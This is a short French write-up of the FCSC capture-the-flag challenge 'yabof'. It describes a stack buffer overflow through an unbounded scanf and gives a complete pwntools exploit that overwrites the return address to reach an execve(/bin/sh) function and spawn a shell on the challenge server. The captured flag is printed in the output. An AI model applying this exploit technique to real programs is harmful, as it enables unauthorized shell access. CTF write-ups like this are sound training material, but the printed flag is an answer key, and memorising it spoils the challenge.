Table des matières
Résolution
- la fonction
vuln()
est … vulnerable
0x401193 char result_1
0x401193 __isoc99_scanf(format: "%s", &result_1)
0x401198 char result = result_1
on peut écraser la pile joyeusement
-
il y a une fonction
yabof
avec un joliexecve(/bin/sh)
à0x401146
. Le binaire n’est pas Position Independent Executable (PIE), l’offset ne changera pas. -
on calcule à taton la taille du buffer et où mettre l’adresse de retour (
yabof
).
Exploit
from pwn import *
#context.log_level = 'DEBUG'
context.arch='amd64'
debug=False
local=False
if local:
p=process('./yabof')
if debug:
rdbg = gdb.attach(p,gdbscript='''
break *main
c
''')
else:
p=remote('chall.fcsc.fr',2109)
sc=cyclic(16)+p64(0x401146)
p.sendlineafter(b"Do you want to get a drink (y/N)?\n",sc)
p.clean()
p.sendline(b'uname -a')
p.interactive()
Résultat
➜ yabof ./exploit.py
[+] Opening connection to chall.fcsc.fr on port 2109: Done
[\*] Switching to interactive mode
Linux yabof 6.13.8-metal-hardened #1 SMP Sun Apr 13 14:22:33 UTC 2025 x86_64 GNU/Linux
$ cat flag.txt
FCSC{e5352ecae8f1ad7f0e7b4225c1fb975e9cfebfac482c2b4a9dd25661a0e49296}